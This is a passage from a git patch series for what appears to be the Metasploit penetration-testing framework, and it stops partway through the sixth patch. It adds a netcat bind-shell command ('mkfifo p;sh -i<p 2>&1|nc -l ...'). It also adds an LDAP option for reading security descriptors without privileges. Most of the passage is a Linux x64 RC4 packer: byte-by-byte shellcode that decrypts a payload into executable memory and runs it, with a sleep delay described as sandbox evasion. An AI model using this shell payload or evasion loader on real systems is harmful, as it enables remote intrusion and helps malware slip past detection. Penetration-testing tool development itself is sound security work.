From 3477ec7a9d081cdce9bcd2ab9da73d2c013c1f7c Mon Sep 17 00:00:00 2001
From: dledda-r7 <diego_ledda@rapid7.com>
Date: Tue, 20 Jan 2026 04:48:49 -0500
Subject: [PATCH 001/103] feat: add support for short command execution in
 bind_netcat module

---
 modules/payloads/singles/cmd/unix/bind_netcat.rb | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb
index b1236b82a26c3..7a4f16efd42d4 100644
--- a/modules/payloads/singles/cmd/unix/bind_netcat.rb
+++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb
@@ -36,7 +36,8 @@ def initialize(info = {})
     register_advanced_options(
       [
         OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc']),
-        OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])
+        OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh']),
+        OptBool.new('ShortCommand', [false, 'Use a shorter command string (hardcoded mkfifo name and shell)', false])
       ]
     )
   end
@@ -53,7 +54,12 @@ def generate(_opts = {})
   # Returns the command string to use for execution
   #
   def command_string
-    backpipe = Rex::Text.rand_text_alpha_lower(4..7)
-    "mkfifo /tmp/#{backpipe}; (#{datastore['NetcatPath']} -l -p #{datastore['LPORT']} ||#{datastore['NetcatPath']} -l #{datastore['LPORT']})0</tmp/#{backpipe} | #{datastore['ShellPath']} >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
+    if datastore['ShortCommand']
+      payload = "mkfifo p;sh -i<p 2>&1|nc -l #{datastore['LPORT']}>p"
+    else
+      backpipe = Rex::Text.rand_text_alpha_lower(4..7)
+      payload = "mkfifo /tmp/#{backpipe}; (#{datastore['NetcatPath']} -l -p #{datastore['LPORT']} ||#{datastore['NetcatPath']} -l #{datastore['LPORT']})0</tmp/#{backpipe} | #{datastore['ShellPath']} >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
+    end
+    payload
   end
 end

From 9459571bc289102769b95abe13a155bb3ea8457f Mon Sep 17 00:00:00 2001
From: Diego Ledda <diego_ledda@rapid7.com>
Date: Thu, 29 Jan 2026 13:22:54 +0100
Subject: [PATCH 002/103] Update
 modules/payloads/singles/cmd/unix/bind_netcat.rb

Co-authored-by: Simon Janusz <85949464+sjanusz-r7@users.noreply.github.com>
---
 modules/payloads/singles/cmd/unix/bind_netcat.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb
index 7a4f16efd42d4..7940233137c6b 100644
--- a/modules/payloads/singles/cmd/unix/bind_netcat.rb
+++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb
@@ -55,7 +55,7 @@ def generate(_opts = {})
   #
   def command_string
     if datastore['ShortCommand']
-      payload = "mkfifo p;sh -i<p 2>&1|nc -l #{datastore['LPORT']}>p"
+      payload = "mkfifo p;#{datastore["ShellPath"]} -i<p 2>&1|#{datastore["NetcatPath"]} -l #{datastore['LPORT']}>p"
     else
       backpipe = Rex::Text.rand_text_alpha_lower(4..7)
       payload = "mkfifo /tmp/#{backpipe}; (#{datastore['NetcatPath']} -l -p #{datastore['LPORT']} ||#{datastore['NetcatPath']} -l #{datastore['LPORT']})0</tmp/#{backpipe} | #{datastore['ShellPath']} >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"

From 5ae18d13074dbc490a2a48b26d8b829288f21bb1 Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Wed, 26 Nov 2025 16:13:51 -0500
Subject: [PATCH 003/103] Allow toggling the SACL in queries

---
 lib/msf/core/exploit/remote/ldap/queries.rb |  4 ++--
 modules/auxiliary/gather/ldap_query.rb      | 13 ++++++++++++-
 2 files changed, 14 insertions(+), 3 deletions(-)

diff --git a/lib/msf/core/exploit/remote/ldap/queries.rb b/lib/msf/core/exploit/remote/ldap/queries.rb
index 5bbdb4948409e..144684191146d 100755
--- a/lib/msf/core/exploit/remote/ldap/queries.rb
+++ b/lib/msf/core/exploit/remote/ldap/queries.rb
@@ -81,7 +81,7 @@ def perform_ldap_query(ldap, filter, attributes, base, schema_dn, scope: nil)
         results
       end
 
-      def perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scope: nil)
+      def perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scope: nil, controls: [])
         if attributes.nil? || schema_dn.nil?
           attribute_properties = {}
         else
@@ -96,7 +96,7 @@ def perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scop
 
         scope ||= Net::LDAP::SearchScope_WholeSubtree
         result_count = 0
-        ldap.search(base: base, filter: filter, attributes: attributes, scope: scope, return_result: false) do |result|
+        ldap.search(base: base, filter: filter, attributes: attributes, scope: scope, controls: controls, return_result: false) do |result|
           result_count += 1
           yield result, attribute_properties if block_given?
         end
diff --git a/modules/auxiliary/gather/ldap_query.rb b/modules/auxiliary/gather/ldap_query.rb
index 69d005e389a5d..00976440abe5b 100644
--- a/modules/auxiliary/gather/ldap_query.rb
+++ b/modules/auxiliary/gather/ldap_query.rb
@@ -6,6 +6,7 @@
 class MetasploitModule < Msf::Auxiliary
 
   include Msf::Exploit::Remote::LDAP
+  include Msf::Exploit::Remote::LDAP::ActiveDirectory
   include Msf::Exploit::Remote::LDAP::Queries
   include Msf::OptionalSession::LDAP
   require 'json'
@@ -66,6 +67,10 @@ def initialize(info = {})
       OptString.new('QUERY_FILTER', [false, 'Filter to send to the target LDAP server to perform the query'], conditions: %w[ACTION == RUN_SINGLE_QUERY]),
       OptString.new('QUERY_ATTRIBUTES', [false, 'Comma separated list of attributes to retrieve from the server'], conditions: %w[ACTION == RUN_SINGLE_QUERY])
     ])
+
+    register_advanced_options([
+      OptBool.new('LDAP::QuerySacl', [true, 'Query the SACL field from security descriptors (requires privileges)', true])
+    ])
   end
 
   def initialize_actions
@@ -185,7 +190,13 @@ def run
         fail_with(Failure::BadConfig, "Could not compile the filter #{filter_string}. Error was #{e}")
       end
 
-      result_count = perform_ldap_query_streaming(ldap, filter, attributes, query_base, schema_dn) do |result, attribute_properties|
+      controls = []
+      unless datastore['LDAP::QuerySacl']
+        # omit the control entirely if querying the SACL because that's the default behavior
+        controls = [adds_build_ldap_sd_control(sacl: false)]
+      end
+
+      result_count = perform_ldap_query_streaming(ldap, filter, attributes, query_base, schema_dn, controls: controls) do |result, attribute_properties|
         show_output(normalize_entry(result, attribute_properties), datastore['OUTPUT_FORMAT'])
       end
 

From c8c7705190b77c899fc7064989200748b241a785 Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Tue, 3 Feb 2026 17:38:56 -0500
Subject: [PATCH 004/103] Add notes about the new option

---
 documentation/modules/auxiliary/gather/ldap_query.md | 6 ++++++
 lib/msf/ui/tip.rb                                    | 3 ++-
 2 files changed, 8 insertions(+), 1 deletion(-)

diff --git a/documentation/modules/auxiliary/gather/ldap_query.md b/documentation/modules/auxiliary/gather/ldap_query.md
index 3460c65ecf2dd..d91bde2c1569b 100644
--- a/documentation/modules/auxiliary/gather/ldap_query.md
+++ b/documentation/modules/auxiliary/gather/ldap_query.md
@@ -78,6 +78,12 @@ Used only when the `RUN_SINGLE_QUERY` action is used. Should be a comma separate
 of attributes to display from the full result set for each entry that was returned by the
 target LDAP server. Used to filter the results down to manageable sets of data.
 
+### LDAP::QuerySacl
+Query the SACL on security descriptors. If the authenticated user does not have permission
+to view the SACL, the entire security descriptor will be omitted by the server. Setting
+this to false enables the other fields of the security descriptor to be viewed when those
+permissions are not present. Only applicable for Active Directory LDAP servers.
+
 ## Scenarios
 
 ### RUN_SINGLE_QUERY with Table Output
diff --git a/lib/msf/ui/tip.rb b/lib/msf/ui/tip.rb
index c4a928c4da056..048d9b4ab4426 100644
--- a/lib/msf/ui/tip.rb
+++ b/lib/msf/ui/tip.rb
@@ -51,7 +51,8 @@ def self.highlight(string)
         "Execute a command across all sessions with #{highlight('sessions -C <command>')}",
         "Use #{highlight('post/multi/manage/autoroute')} to automatically add pivot routes",
         "Use #{highlight('check')} before #{highlight('run')} to confirm if a target is vulnerable",
-        "Bind your reverse shell to a tunnel with #{highlight('set ReverseListenerBindAddress <tunnel_address>')} and #{highlight('set ReverseListenerBindPort <tunnel_port>')} (e.g., ngrok)"
+        "Bind your reverse shell to a tunnel with #{highlight('set ReverseListenerBindAddress <tunnel_address>')} and #{highlight('set ReverseListenerBindPort <tunnel_port>')} (e.g., ngrok)",
+        "Use #{highlight('set LDAP::QuerySacl false')} to view security descriptors with the ldap_query module from non-privileged accounts"
       ].freeze
       private_constant :COMMON_TIPS
 

From 9610cdb2a4f52d193a920541a90ffebb57bcac45 Mon Sep 17 00:00:00 2001
From: litemars <maxmassi12@gmail.com>
Date: Thu, 12 Feb 2026 16:45:26 +0100
Subject: [PATCH 005/103] add x64 rc4 packer, sleep evasion routine and rc4
 decrypter

---
 .../core/payload/linux/x64/rc4_decrypter.rb   | 241 ++++++++++++++++++
 .../core/payload/linux/x64/sleep_evasion.rb   |  40 +++
 modules/evasion/linux/x64_rc4_packer.rb       |  56 ++++
 3 files changed, 337 insertions(+)
 create mode 100644 lib/msf/core/payload/linux/x64/rc4_decrypter.rb
 create mode 100644 lib/msf/core/payload/linux/x64/sleep_evasion.rb
 create mode 100644 modules/evasion/linux/x64_rc4_packer.rb

diff --git a/lib/msf/core/payload/linux/x64/rc4_decrypter.rb b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb
new file mode 100644
index 0000000000000..98028760bdf8a
--- /dev/null
+++ b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb
@@ -0,0 +1,241 @@
+module Msf::Payload::Linux::X64::Rc4Decrypter
+
+  STUB_KEY_SIZE_OFFSET = 0x0f8
+  STUB_PAYLOAD_SIZE_OFFSET = 0x100
+  STUB_ENCRYPTED_SIZE_OFFSET = 0x108
+  STUB_KEY_DATA_OFFSET = 0x110
+  STUB_ENCRYPTED_DATA_OFFSET = 0x210
+
+  def rc4_decrypter_stub
+    stub = ""
+
+    # === PART 1: Get base address and MMAP ===
+    # 0x00: lea r12, [rip-7]              ; r12 = base address
+    stub << [0x258d4c].pack('V')[0,3]
+    stub << [0xfffffff9].pack('V')
+    # 0x07: mov rsi, [r12+0x100]          ; rsi = payload_size
+    stub << [0x24b48b49].pack('V')
+    stub << [STUB_PAYLOAD_SIZE_OFFSET].pack('V')
+    # 0x0f: xor edi, edi                  ; addr = NULL
+    stub << [0xff31].pack('v')
+    # 0x11: mov edx, 7                    ; prot = PROT_RWX
+    stub << [0x07ba].pack('v')
+    stub << [0x0000].pack('v')
+    stub << [0x00].pack('C')
+    # 0x16: mov r10d, 0x22                ; flags = MAP_PRIVATE|MAP_ANON
+    stub << [0xba41].pack('v')
+    stub << [0x00000022].pack('V')
+    # 0x1c: mov r8d, -1                   ; fd = -1
+    stub << [0xb841].pack('v')
+    stub << [0xffffffff].pack('V')
+    # 0x22: xor r9d, r9d                  ; offset = 0
+    stub << [0x3145].pack('v')
+    stub << [0xc9].pack('C')
+    # 0x25: mov eax, 9                    ; syscall = mmap
+    stub << [0xb8].pack('C')
+    stub << [0x00000009].pack('V')
+    # 0x2a: syscall
+    stub << [0x050f].pack('v')
+    # 0x2c: mov r13, rax                  ; save mmap result
+    stub << [0x8949].pack('v')
+    stub << [0xc5].pack('C')
+
+    # === PART 2: Initialize S-box (256 bytes) on stack ===
+    # 0x2f: sub rsp, 256                  ; allocate S-box
+    stub << [0x8148].pack('v')
+    stub << [0xec].pack('C')
+    stub << [0x00000100].pack('V')
+    # 0x36: mov rdi, rsp                  ; rdi = S-box pointer
+    stub << [0x8948].pack('v')
+    stub << [0xe7].pack('C')
+    # 0x39: xor ecx, ecx                  ; i = 0
+    stub << [0xc931].pack('v')
+    # S-box init loop: S[i] = i for i = 0..255
+    # 0x3b: mov [rdi+rcx], cl             ; S[i] = i
+    stub << [0x0c88].pack('v')
+    stub << [0x0f].pack('C')
+    # 0x3e: inc ecx                       ; i++
+    stub << [0xc1ff].pack('v')
+    # 0x40: cmp ecx, 256
+    stub << [0xf981].pack('v')
+    stub << [0x00000100].pack('V')
+    # 0x46: jne 0x3b                      ; loop until i == 256
+    stub << [0xf375].pack('v')
+
+    # === PART 3: RC4 Key Scheduling Algorithm (KSA) ===
+    # 0x48: lea r8, [r12+0x110]           ; r8 -> key_data
+    stub << [0x848d4d].pack('V')[0,3]
+    stub << [0x24].pack('C')
+    stub << [STUB_KEY_DATA_OFFSET].pack('V')
+    # 0x50: mov r9d, [r12+0xf8]           ; r9 = key_size
+    stub << [0x8c8b45].pack('V')[0,3]
+    stub << [0x24].pack('C')
+    stub << [STUB_KEY_SIZE_OFFSET].pack('V')
+    # 0x58: xor ecx, ecx                  ; i = 0
+    stub << [0xc931].pack('v')
+    # 0x5a: xor edx, edx                  ; j = 0
+    stub << [0xd231].pack('v')
+
+    # KSA loop: for i = 0..255
+    # 0x5c: movzx eax, byte [rdi+rcx]     ; eax = S[i]
+    stub << [0xb60f].pack('v')
+    stub << [0x0f04].pack('v')
+    # 0x60: add edx, eax                  ; j += S[i]
+    stub << [0xc201].pack('v')
+    # 0x62: mov eax, ecx                  ; eax = i
+    stub << [0xc889].pack('v')
+    # mod_loop:
+    # 0x64: cmp eax, r9d                  ; compare with key_size
+    stub << [0x3944].pack('v')
+    stub << [0xc8].pack('C')
+    # 0x67: jb mod_done
+    stub << [0x0572].pack('v')
+    # 0x69: sub eax, r9d                  ; i % key_size via subtraction
+    stub << [0x2944].pack('v')
+    stub << [0xc8].pack('C')
+    # 0x6c: jmp mod_loop
+    stub << [0xf6eb].pack('v')
+    # mod_done:
+    # 0x6e: movzx eax, byte [r8+rax]      ; eax = key[i % key_size]
+    stub << [0xb60f41].pack('V')[0,3]
+    stub << [0x0004].pack('v')
+    # 0x73: add edx, eax                  ; j += key[i % key_size]
+    stub << [0xc201].pack('v')
+    # 0x75: and edx, 0xff                 ; j &= 0xFF
+    stub << [0xe281].pack('v')
+    stub << [0x000000ff].pack('V')
+    # swap S[i] and S[j]:
+    # 0x7b: movzx eax, byte [rdi+rcx]     ; eax = S[i]
+    stub << [0xb60f].pack('v')
+    stub << [0x0f04].pack('v')
+    # 0x7f: movzx r10d, byte [rdi+rdx]    ; r10 = S[j]
+    stub << [0xb60f44].pack('V')[0,3]
+    stub << [0x1714].pack('v')
+    # 0x84: mov [rdi+rcx], r10b           ; S[i] = S[j]
+    stub << [0x8844].pack('v')
+    stub << [0x0f14].pack('v')
+    # 0x88: mov [rdi+rdx], al             ; S[j] = S[i]
+    stub << [0x0488].pack('v')
+    stub << [0x17].pack('C')
+    # 0x8b: inc ecx                       ; i++
+    stub << [0xc1ff].pack('v')
+    # 0x8d: cmp ecx, 256
+    stub << [0xf981].pack('v')
+    stub << [0x00000100].pack('V')
+    # 0x93: jne 0x5c                      ; loop until i == 256
+    stub << [0xc775].pack('v')
+
+    # === PART 4: RC4 Pseudo-Random Generation Algorithm (PRGA) ===
+    # 0x95: lea r8, [r12+0x210]           ; r8 -> encrypted_data
+    stub << [0x848d4d].pack('V')[0,3]
+    stub << [0x24].pack('C')
+    stub << [STUB_ENCRYPTED_DATA_OFFSET].pack('V')
+    # 0x9d: mov r9d, [r12+0x108]          ; r9 = encrypted_size
+    stub << [0x8c8b45].pack('V')[0,3]
+    stub << [0x24].pack('C')
+    stub << [STUB_ENCRYPTED_SIZE_OFFSET].pack('V')
+    # 0xa5: xor ecx, ecx                  ; i = 0
+    stub << [0xc931].pack('v')
+    # 0xa7: xor edx, edx                  ; j = 0
+    stub << [0xd231].pack('v')
+    # 0xa9: xor r10d, r10d                ; k = 0 (byte counter)
+    stub << [0x3145].pack('v')
+    stub << [0xd2].pack('C')
+
+    # PRGA loop: for k = 0..encrypted_size-1
+    # 0xac: inc ecx                       ; i = (i + 1)
+    stub << [0xc1ff].pack('v')
+    # 0xae: and ecx, 0xff                 ; i &= 0xFF
+    stub << [0xe181].pack('v')
+    stub << [0x000000ff].pack('V')
+    # 0xb4: movzx eax, byte [rdi+rcx]     ; eax = S[i]
+    stub << [0xb60f].pack('v')
+    stub << [0x0f04].pack('v')
+    # 0xb8: add edx, eax                  ; j += S[i]
+    stub << [0xc201].pack('v')
+    # 0xba: and edx, 0xff                 ; j &= 0xFF
+    stub << [0xe281].pack('v')
+    stub << [0x000000ff].pack('V')
+    # swap S[i] and S[j]:
+    # 0xc0: movzx eax, byte [rdi+rcx]     ; eax = S[i]
+    stub << [0xb60f].pack('v')
+    stub << [0x0f04].pack('v')
+    # 0xc4: movzx r11d, byte [rdi+rdx]    ; r11 = S[j]
+    stub << [0xb60f44].pack('V')[0,3]
+    stub << [0x171c].pack('v')
+    # 0xc9: mov [rdi+rcx], r11b           ; S[i] = S[j]
+    stub << [0x8844].pack('v')
+    stub << [0x0f1c].pack('v')
+    # 0xcd: mov [rdi+rdx], al             ; S[j] = S[i]
+    stub << [0x0488].pack('v')
+    stub << [0x17].pack('C')
+    # keystream byte and XOR:
+    # 0xd0: add eax, r11d                 ; eax = S[i] + S[j]
+    stub << [0x0144].pack('v')
+    stub << [0xd8].pack('C')
+    # 0xd3: and eax, 0xff                 ; eax &= 0xFF
+    stub << [0x25].pack('C')
+    stub << [0x000000ff].pack('V')
+    # 0xd8: movzx eax, byte [rdi+rax]     ; eax = S[(S[i]+S[j]) & 0xFF]
+    stub << [0xb60f].pack('v')
+    stub << [0x0704].pack('v')
+    # 0xdc: xor al, [r8+r10]              ; al ^= encrypted[k]
+    stub << [0x3243].pack('v')
+    stub << [0x1004].pack('v')
+    # 0xe0: mov [r13+r10], al             ; output[k] = decrypted
+    stub << [0x8843].pack('v')
+    stub << [0x1544].pack('v')
+    stub << [0x00].pack('C')
+    # 0xe5: inc r10d                      ; k++
+    stub << [0xff41].pack('v')
+    stub << [0xc2].pack('C')
+    # 0xe8: cmp r10d, r9d                 ; compare k with size
+    stub << [0x3945].pack('v')
+    stub << [0xca].pack('C')
+    # 0xeb: jne 0xac                      ; loop until k == encrypted_size
+    stub << [0xbf75].pack('v')
+
+    # === PART 5: Cleanup and jump ===
+    # 0xed: add rsp, 256                  ; restore stack
+    stub << [0x8148].pack('v')
+    stub << [0xc4].pack('C')
+    stub << [0x00000100].pack('V')
+    # 0xf4: jmp r13                       ; jump to decrypted payload
+    stub << [0xff41].pack('v')
+    stub << [0xe5].pack('C')
+
+    # Pad to data section
+    stub << ("\x90" * (STUB_KEY_SIZE_OFFSET - stub.length))
+
+    # Data section placeholders
+    stub << ("\x00" * 8)    # key_size at 0xf8
+    stub << ("\x00" * 8)    # payload_size at 0x100
+    stub << ("\x00" * 8)    # encrypted_size at 0x108
+    stub << ("\x00" * 256)  # key_data at 0x110
+
+    stub
+  end
+
+  def rc4_decrypter(opts = {})
+    key = opts[:key] || Rex::Text.rand_text(16)
+    payload = opts[:data] || raise(ArgumentError, "Encrypted data required")
+
+    encrypted_data = Rex::Crypto::Rc4.rc4(key, payload)
+    payload_size = encrypted_data.length
+
+    stub = rc4_decrypter_stub.dup
+
+    stub[STUB_KEY_SIZE_OFFSET, 8] = [key.length].pack('Q<')
+    stub[STUB_PAYLOAD_SIZE_OFFSET, 8] = [payload.length].pack('Q<')
+    stub[STUB_ENCRYPTED_SIZE_OFFSET, 8] = [encrypted_data.length].pack('Q<')
+
+    stub[STUB_KEY_DATA_OFFSET, 256] = key.ljust(256, "\x00")
+
+    stub + encrypted_data
+  end
+
+  def stub_size
+    STUB_ENCRYPTED_DATA_OFFSET
+  end
+
+end
\ No newline at end of file
diff --git a/lib/msf/core/payload/linux/x64/sleep_evasion.rb b/lib/msf/core/payload/linux/x64/sleep_evasion.rb
new file mode 100644
index 0000000000000..d6ba7376ec0a5
--- /dev/null
+++ b/lib/msf/core/payload/linux/x64/sleep_evasion.rb
@@ -0,0 +1,40 @@
+module Msf::Payload::Linux::X64::SleepEvasion
+
+    STUB_SLEEP_SECONDS_OFFSET = 0x02
+
+    def sleep_stub
+      stub = ""
+
+      # 0x00: jmp 0x12                   ; jump forward to code (skip data section)
+      stub << [0xeb, 0x10].pack('C*')
+      # 0x02: timespec.tv_sec (8 bytes)  ; sleep duration in seconds (patched later)
+      stub << "\x00\x00\x00\x00\x00\x00\x00\x00"
+      # 0x0a: timespec.tv_nsec (8 bytes) ; nanoseconds component (always 0)
+      stub << "\x00\x00\x00\x00\x00\x00\x00\x00"
+      # 0x12: lea rdi, [rip-0x10]        ; rdi -> timespec structure (RIP-relative addressing)
+      stub << [0x48, 0x8d, 0x3d, 0xf0, 0xff, 0xff, 0xff].pack('C*')
+      # 0x19: xor rsi, rsi               ; rsi = NULL (remaining time pointer)
+      stub << [0x48, 0x31, 0xf6].pack('C*')
+      # 0x1c: mov rax, 35                ; syscall number for nanosleep (0x23)
+      stub << [0x48, 0xc7, 0xc0, 0x23, 0x00, 0x00, 0x00].pack('C*')
+      # 0x23: syscall                    ; invoke syscall
+      stub << [0x0f, 0x05].pack('C*')
+      # 0x25: execution continues to appended payload
+
+      stub
+    end
+
+    def sleep_evasion(opts = {})
+      seconds = opts[:seconds] || 0
+      return "" if seconds == 0
+
+      stub = sleep_stub.dup
+      stub[STUB_SLEEP_SECONDS_OFFSET, 8] = [seconds].pack('Q<')
+      stub
+    end
+
+    def sleep_stub_size
+      37
+    end
+
+end
diff --git a/modules/evasion/linux/x64_rc4_packer.rb b/modules/evasion/linux/x64_rc4_packer.rb
new file mode 100644
index 0000000000000..597b8735f914a
--- /dev/null
+++ b/modules/evasion/linux/x64_rc4_packer.rb
@@ -0,0 +1,56 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Evasion
+
+  include Msf::Payload::Linux::X64::Rc4Decrypter
+  include Msf::Payload::Linux::X64::SleepEvasion
+  include Msf::Payload::Linux::X64::ElfLoader
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'           => 'Linux RC4 Encrypted Payload Generator',
+        'Description'    => %q{
+          This module generates a Linux ELF executable with RC4 encryption
+          and optional sleep-based sandbox evasion.
+          
+          Features:
+          - RC4 encryption with configurable key
+          - In-memory decryption and execution
+          - Optional sleep delay for sandbox evasion
+          - Position-independent shellcode
+        },
+        'Author'         => ['Massimo Bertocchi'],
+        'License'        => MSF_LICENSE,
+        'Platform'       => 'linux',
+        'Arch'           => [ARCH_X64],
+        'Targets'        => [['Linux x64', {}]],
+        'DefaultTarget'  => 0,
+      )
+    )
+
+    register_options([
+      OptString.new('FILENAME', [true, 'Output filename', 'payload.elf']),
+      OptInt.new('SLEEP_TIME', [false, 'Sleep seconds for sandbox evasion', 0]),
+    ])
+  end
+
+  def run
+
+    raw_payload = payload.encoded
+    unless raw_payload && raw_payload.length > 0
+      fail_with(Failure::BadConfig, "Failed to generate payload")
+    end
+
+    elf_payload = Msf::Util::EXE.to_linux_x64_elf(framework, raw_payload)
+    complete_loader = sleep_evasion( seconds: datastore['SLEEP_TIME']) + rc4_decrypter(data: (in_memory_load(elf_payload) + elf_payload))
+    final_elf = Msf::Util::EXE.to_linux_x64_elf(framework, complete_loader)
+    File.binwrite(datastore['FILENAME'], final_elf)
+    File.chmod(0755, datastore['FILENAME'])
+
+  end
+end

From bfbc408617e6c0e9875493fc7087e80bf50a431b Mon Sep 17 00:00:00 2001
From: litemars <maxmassi12@gmail.com>
Date: Fri, 13 Feb 2026 13:49:30 +0100
Subject: [PATCH 006/103] updating x64 rc4 packer to use Metasm

---
 .../core/payload/linux/x64/rc4_decrypter.rb   | 337 ++++++------------
 1 file changed, 118 insertions(+), 219 deletions(-)

diff --git a/lib/msf/core/payload/linux/x64/rc4_decrypter.rb b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb
index 98028760bdf8a..fdf86151c45ea 100644
--- a/lib/msf/core/payload/linux/x64/rc4_decrypter.rb
+++ b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb
@@ -1,219 +1,108 @@
 module Msf::Payload::Linux::X64::Rc4Decrypter
 
-  STUB_KEY_SIZE_OFFSET = 0x0f8
-  STUB_PAYLOAD_SIZE_OFFSET = 0x100
-  STUB_ENCRYPTED_SIZE_OFFSET = 0x108
-  STUB_KEY_DATA_OFFSET = 0x110
-  STUB_ENCRYPTED_DATA_OFFSET = 0x210
-
   def rc4_decrypter_stub
-    stub = ""
-
-    # === PART 1: Get base address and MMAP ===
-    # 0x00: lea r12, [rip-7]              ; r12 = base address
-    stub << [0x258d4c].pack('V')[0,3]
-    stub << [0xfffffff9].pack('V')
-    # 0x07: mov rsi, [r12+0x100]          ; rsi = payload_size
-    stub << [0x24b48b49].pack('V')
-    stub << [STUB_PAYLOAD_SIZE_OFFSET].pack('V')
-    # 0x0f: xor edi, edi                  ; addr = NULL
-    stub << [0xff31].pack('v')
-    # 0x11: mov edx, 7                    ; prot = PROT_RWX
-    stub << [0x07ba].pack('v')
-    stub << [0x0000].pack('v')
-    stub << [0x00].pack('C')
-    # 0x16: mov r10d, 0x22                ; flags = MAP_PRIVATE|MAP_ANON
-    stub << [0xba41].pack('v')
-    stub << [0x00000022].pack('V')
-    # 0x1c: mov r8d, -1                   ; fd = -1
-    stub << [0xb841].pack('v')
-    stub << [0xffffffff].pack('V')
-    # 0x22: xor r9d, r9d                  ; offset = 0
-    stub << [0x3145].pack('v')
-    stub << [0xc9].pack('C')
-    # 0x25: mov eax, 9                    ; syscall = mmap
-    stub << [0xb8].pack('C')
-    stub << [0x00000009].pack('V')
-    # 0x2a: syscall
-    stub << [0x050f].pack('v')
-    # 0x2c: mov r13, rax                  ; save mmap result
-    stub << [0x8949].pack('v')
-    stub << [0xc5].pack('C')
-
-    # === PART 2: Initialize S-box (256 bytes) on stack ===
-    # 0x2f: sub rsp, 256                  ; allocate S-box
-    stub << [0x8148].pack('v')
-    stub << [0xec].pack('C')
-    stub << [0x00000100].pack('V')
-    # 0x36: mov rdi, rsp                  ; rdi = S-box pointer
-    stub << [0x8948].pack('v')
-    stub << [0xe7].pack('C')
-    # 0x39: xor ecx, ecx                  ; i = 0
-    stub << [0xc931].pack('v')
-    # S-box init loop: S[i] = i for i = 0..255
-    # 0x3b: mov [rdi+rcx], cl             ; S[i] = i
-    stub << [0x0c88].pack('v')
-    stub << [0x0f].pack('C')
-    # 0x3e: inc ecx                       ; i++
-    stub << [0xc1ff].pack('v')
-    # 0x40: cmp ecx, 256
-    stub << [0xf981].pack('v')
-    stub << [0x00000100].pack('V')
-    # 0x46: jne 0x3b                      ; loop until i == 256
-    stub << [0xf375].pack('v')
-
-    # === PART 3: RC4 Key Scheduling Algorithm (KSA) ===
-    # 0x48: lea r8, [r12+0x110]           ; r8 -> key_data
-    stub << [0x848d4d].pack('V')[0,3]
-    stub << [0x24].pack('C')
-    stub << [STUB_KEY_DATA_OFFSET].pack('V')
-    # 0x50: mov r9d, [r12+0xf8]           ; r9 = key_size
-    stub << [0x8c8b45].pack('V')[0,3]
-    stub << [0x24].pack('C')
-    stub << [STUB_KEY_SIZE_OFFSET].pack('V')
-    # 0x58: xor ecx, ecx                  ; i = 0
-    stub << [0xc931].pack('v')
-    # 0x5a: xor edx, edx                  ; j = 0
-    stub << [0xd231].pack('v')
-
-    # KSA loop: for i = 0..255
-    # 0x5c: movzx eax, byte [rdi+rcx]     ; eax = S[i]
-    stub << [0xb60f].pack('v')
-    stub << [0x0f04].pack('v')
-    # 0x60: add edx, eax                  ; j += S[i]
-    stub << [0xc201].pack('v')
-    # 0x62: mov eax, ecx                  ; eax = i
-    stub << [0xc889].pack('v')
-    # mod_loop:
-    # 0x64: cmp eax, r9d                  ; compare with key_size
-    stub << [0x3944].pack('v')
-    stub << [0xc8].pack('C')
-    # 0x67: jb mod_done
-    stub << [0x0572].pack('v')
-    # 0x69: sub eax, r9d                  ; i % key_size via subtraction
-    stub << [0x2944].pack('v')
-    stub << [0xc8].pack('C')
-    # 0x6c: jmp mod_loop
-    stub << [0xf6eb].pack('v')
-    # mod_done:
-    # 0x6e: movzx eax, byte [r8+rax]      ; eax = key[i % key_size]
-    stub << [0xb60f41].pack('V')[0,3]
-    stub << [0x0004].pack('v')
-    # 0x73: add edx, eax                  ; j += key[i % key_size]
-    stub << [0xc201].pack('v')
-    # 0x75: and edx, 0xff                 ; j &= 0xFF
-    stub << [0xe281].pack('v')
-    stub << [0x000000ff].pack('V')
-    # swap S[i] and S[j]:
-    # 0x7b: movzx eax, byte [rdi+rcx]     ; eax = S[i]
-    stub << [0xb60f].pack('v')
-    stub << [0x0f04].pack('v')
-    # 0x7f: movzx r10d, byte [rdi+rdx]    ; r10 = S[j]
-    stub << [0xb60f44].pack('V')[0,3]
-    stub << [0x1714].pack('v')
-    # 0x84: mov [rdi+rcx], r10b           ; S[i] = S[j]
-    stub << [0x8844].pack('v')
-    stub << [0x0f14].pack('v')
-    # 0x88: mov [rdi+rdx], al             ; S[j] = S[i]
-    stub << [0x0488].pack('v')
-    stub << [0x17].pack('C')
-    # 0x8b: inc ecx                       ; i++
-    stub << [0xc1ff].pack('v')
-    # 0x8d: cmp ecx, 256
-    stub << [0xf981].pack('v')
-    stub << [0x00000100].pack('V')
-    # 0x93: jne 0x5c                      ; loop until i == 256
-    stub << [0xc775].pack('v')
-
-    # === PART 4: RC4 Pseudo-Random Generation Algorithm (PRGA) ===
-    # 0x95: lea r8, [r12+0x210]           ; r8 -> encrypted_data
-    stub << [0x848d4d].pack('V')[0,3]
-    stub << [0x24].pack('C')
